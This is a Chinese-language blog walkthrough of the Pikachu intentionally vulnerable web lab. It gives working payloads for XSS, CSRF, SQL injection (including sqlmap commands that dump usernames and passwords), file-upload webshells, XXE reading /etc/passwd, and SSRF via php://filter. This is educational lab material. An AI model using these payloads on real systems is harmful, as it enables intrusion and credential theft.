Pikachu漏洞

暴力破解

基于表单的暴力破解

先用bp抓包

发送到intruder

 

 设置payload

 

 爆破,发现admin 123456和其他的长度不同。

 

 验证码绕过(on server)

这次多了个验证码

那就再抓包,密码爆破和上一题一样,然后把用户名密码改为爆破后得到的,验证码部分为抓包时的正确验证码,放包,登录成功。

 验证码绕过(on client)

 

和前面一样爆破

 

 改包,然后forward

token防爆破?

服务器验证码可以利用验证码刷新不及时的方式破解,前端代码我们可以对请求包修改删除验证码数据的方式绕过,但是token防爆破如何破解?

还是先抓请求包

发送到爆破模块

线程设置为1(显然只有获取上一个请求返回的taken值才能,做下一次请求 暂时无法并发)

 

 

配置Grep=Extract,点添加

 点击Refetch response 获取返回的包,找到返回的token值,选中并复制下来。点击确定(注意:一定要在选中token的状态下点击确定)

设置字典,payload1就是设一个密码字典,

 

开始爆破

 

长度不一样,找到了,登录,成功。 

XSS

反射型xss(get)

试探性的输入,输入框在url的message里

反射性xss(post)

根据前面的经验,我们知道用户名是admin密码是123456,先登录一下

POST请求区别与GET请求,POST请求不能从URL让用户向服务器提交数据。所以为了进行注入,需要让用户代替攻击者提交POST请求,这就需要攻击者自己搭建站点,然后再站点内写一个POST表单,将我们搭建出的连接发给用户,这样就能让用户帮攻击者提交POST请求发给存在XSS漏洞的中。看一下提前写好的表单,form表单中action就是提交存在漏洞的网页的地址,input中value的值就是我们输入的恶意代码。

 点击submit 触发

存储型xss

什么是存储型XSS:
攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。因为存储型XSS的代码存在于网页的代码中,可以说是永久型的。

我们输入的内容在p 标签中没做任何的处理。也就是前端输入什么,后端录入什么。

 

DOM型xss

 发现所输入的内容放到了a标签里,想把标签里写点恶意代码,点击 what do you see? 触发。

xss盲打

提交之后毛都没有,根据提示看后台

当管理员进入后台的之后代码自动就 运行了。

xss之过滤

可以看到输入的内容在p标签里显示,url就能操作

 发现被过滤了

 

 换大写绕过

xss之htmlspecialchars

双引号不行,那就换成单引号

 

xss之href输出

用js代码绕过

xss之js输出

输入2222查看源码找2222

 输入tmac,查看源码找tmac

没什么卵用

写payload:111'</script><script>alert('111')</script> 

目的的闭合前面的script标签,自己又加了个标签。

CSRF(跨站请求伪造)

CSRF(get) login

 然后用kobe登录一下,然后修改信息,submit抓包

 后台没做CSRF token,同时也是通过GET请求来提交修改信息,我们拿到这个,修改一下,然后让kobe点击就好,我们构造的URL中把性别sex改为dog。kobe一点击就修改了性别。

CSRF(post) login

今天的受害者是lili

关于post请求就相对麻烦一下,因为不能直接发给用户一个网站从而修改其用户信息,必须要通过表单提交的信息才行。

所以这里采取一种另外的方法,设计一个钓鱼网站。欺骗用户点击其中的form提交,当然,form中的内容是我们预先设定好的,然后点击之后,我们的黑客网站就会将我们设定好的信息以post方式请求给存在csrf漏洞的网站,从而修改用户信息。

SQL注入

数字型注入

查询半天url没反应,是post

手工

 看到数据库了

 接着找表

 找users表里的字段

 看看username、password

sqlmap

 使用sqlmap跑post方式时的格式:python sqlmap.py -u "<url>" --data="<post提交的参数>" -<参数>

python sqlmap.py -u "http://。。。vul/sqli/sqli_id.php#" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql --dbs --batch

 #--dbms 默认情况下会探测web应用后端的数据库是什么;该步骤--dbms mysql 制定了数据库类型为myslq数据库
 #--dbs 当用户有权读取时,列出所有的数据库
 #--batch 该参数使用后不需要用户输入,将会使用sqlmap给的默认提示走下去

 看到爆出数据库来了,接着爆pikachu里的表

python sqlmap.py -u "http://。。。/vul/sqli/sqli_id.php#" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -D pikachu --tables --batch

# -D pikachu 指定数据库pikachu
#--tables 当有权限读取pikachu数据库中的表tables的时候,读取出表

 接着读users表

python sqlmap.py -u "http://。。。vul/sqli/sqli_id.php#" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -D pikachu -T users --column --batch

 可以查看username和password里的数据

python sqlmap.py -u "http://。。。/vul/sqli/sqli_id.php#" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -D pikachu -T users -C username,password --dump --batch

字符型注入

 

 也可以sqlmap一把梭,不做多演示

python sqlmap.py -u "存在注入点的url" --dbs

搜索型注入

搜索型注入漏洞产生的原因:

  在搭建网站的时候为了方便用户搜索该网站中的资源,程序员在写网站脚本的时候加入了搜索功能,但是忽略了对搜索变量的过滤,造成了搜索型注入漏洞,又称文本框注入。

搜索型注入的类型:

  同其他注入类型相同,由于提交表单的不同,可分为GET型(多出现于网站上的搜索)和POST型(多出现于用户名的登录搜索匹配),搜索型注入是国内系统中普遍存在的漏洞。

查看回显位。

 找数据库

 成功,后续就不做多演示。

XX型注入

当我们随便注的时候发现多了个括号

 

 发现有两列,然后找回显位

 找数据库

 后续不做多解释。

“insert/update”注入

进入注册页面,bp抓包

 

 经过测试发现不能使用联合查询注入,故改为报错注入获取当前网站所连接的数据库的名字

1’ or updatexml(1,concat(0x7e,database()),0) or’

原理:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) 
第三个参数:new_value,String格式,替换查找到的符合条件的数据
updatexml函数具有查询功能 并且会再xpath处查询 你将语法构造错误 然后它就会将它查询的结果以报错的形式显示出来

"delete"注入

点击删除的时候抓包

 删除的列名为id,所以直接拼接上就行

 

 

 也是个报错注入。

http头注入

用burp抓包进入send to repeater 根据标题所示注入在http头:User-AgentcookieX_FORWARDED_FOR这三块地方

基于boolian的盲注

基于boolian的盲注主要表现症状:

  --没有报错信息

  --不管是输入正确的还是错误的,都只显示两种情况(0或1)

  --在正确的输入下,输入and 1=1/and 1=2发现可以判断

先输入一个英文单引号

 

 

 所以存在注入点

sqlmap一把梭

 

 

 

 就是很慢,但是很爽。

基于时间的盲注

前端输入啥都是  他不知道

 用延时注入,每次都会等五秒。

Sqlmap中指定点探测技术使用 --technique T(time)  B(boolean)

T代表时间, B代表布尔型

 

 

 

 耗命

宽字节注入

当我们输入有单引号时被转义为’,无法构造 SQL 语句的时候,可以尝试宽字节注入。

GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。

利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入 payload

因为在后台单引号会被转义,在数据库中执行时多了个反斜杠。我们可以用下面的payload,在单引号前面加上 %df,让单引号成功逃逸

kobe%df' or 1=1#

 

后续不做多演示。

RCE

 exec "ping"

 用火狐浏览器输入127.0.0.1无果,转战谷歌

我人傻掉,谷歌也没有,哪出了问题

 但是输入这些也能出来

exec "eval"

unsafe upfileupload(文件上传)

客户端check

传一个gif文件,文件内容是一句话。

放包,显示上传成功

服务端check

接着传一句话发现

 

 getimagesize()

CMD命令直接伪造头部:copy /b 03.png +03.php cccc.png

03.php里面是一句话

然后直接上传

Over Permission

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。

水平越权

从而达到水平越权查看用户信息。

垂直越权

先登录

将admin账户登录的url复制下来打开另外一个浏览器用普通账户登录以后再进行访问。

然后直接复制admin的添加用户的url,直接在普通账户的后面替换

 返回管理员账户,已被添加

 目录遍历漏洞

 

直接在这

 敏感信息泄露

PHP反序列化

概述:

在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。

序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:             

    class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s); //把这个对象进行序列化
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值
    

反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

    $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

        常见的几个魔法函数:
        __construct()当一个对象创建时被调用

        __destruct()当一个对象销毁时被调用

        __toString()当一个对象被当作一个字符串使用

        __sleep() 在对象在被序列化之前运行

        __wakeup将在序列化之后立即被调用

        漏洞举例:

        class S{
            var $test = "pikachu";
            function __destruct(){
                echo $this->test;
            }
        }
        $s = $_GET['test'];
        @$unser = unserialize($a);

        payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

将其写入text.php文件上传之后在网页打开查看源码。

 

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
O:1:"S":1:{s:4:"text";s:29:"<script>alert('xss')</script>";}

上面的是平台给的,下面蓝色的是我的,我不知道为什么,平台的就能弹窗

 我的就跟屎一样,试了半个多小时,就是不行,就是出pikachu

 直接崩溃。

XXE

XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

xml结构:

 1 第一部分:XML声明部分
 2 <?xml version="1.0"?>
 3 
 4 第二部分:文档类型定义 DTD
 5 <!DOCTYPE note[ 
 6 <!--定义此文档是note类型的文档-->
 7 <!ENTITY entity-name SYSTEM "URI/URL">
 8 <!--外部实体声明-->
 9 ]>
10 
11 第三部分:文档元素
12 <note>
13 <to>Dave</to>
14 <from>Tom</from>
15 <head>Reminder</head>
16 <body>You are a good man</body>
17 </note>

其中,DTD(Document Type Definition,文档类型定义),用来为 XML 文档定义语法约束,可以是内部申明也可以使引用外部DTD。

XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如如下的三种,具体的示例可以看下面的xxe漏洞:

file:///path/to/file.ext
http://url
php://filter/read=convert.base64-encode/resource=conf.php

我们先提交一个合法的xml文档

<?xml version="1.0" encoding="UTF-8" ?>
 
<!DOCTYPE note [
    <!ENTITY tac "test">
]>
 
<name>&tac;</name>

 是能被解析的

在服务端开启了DTD外部引用且没有对DTD对象进行过滤的情况下,  可以利用DTD引用系统关键文件:

<?xml version="1.0" encoding="UTF-8" ?>
 
<!DOCTYPE note [
    <!ENTITY tac SYSTEM "file:///etc/passwd">
]>
 
<name>&tac;</name>

URL重定向

将i修改为其他的就能实现url跳转

SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造)

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制

导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

数据流:攻击者----->服务器---->目标地址

根据后台使用的函数的不同,对应的影响和利用方法又有不一样

PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()

如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤。

ssrf(curl)

ssrf(file_get_content)

换成想要查看的文件

这里file_get_contents函数还有一个文件包含漏洞,利用php伪协议读取文件的源码,给file赋值

?file=php://filter/read=convert.base64-encode/resource=http://69937fd2c9a649908b7f8e76dd350c28.app.mituan.zone/vul/ssrf/ssrf_fgc.php

花了我一天的时间,因为是在mituan靶场练习的不是在本地,有的题目有心无力。

原文地址:https://www.cnblogs.com/tac2664/p/14389315.html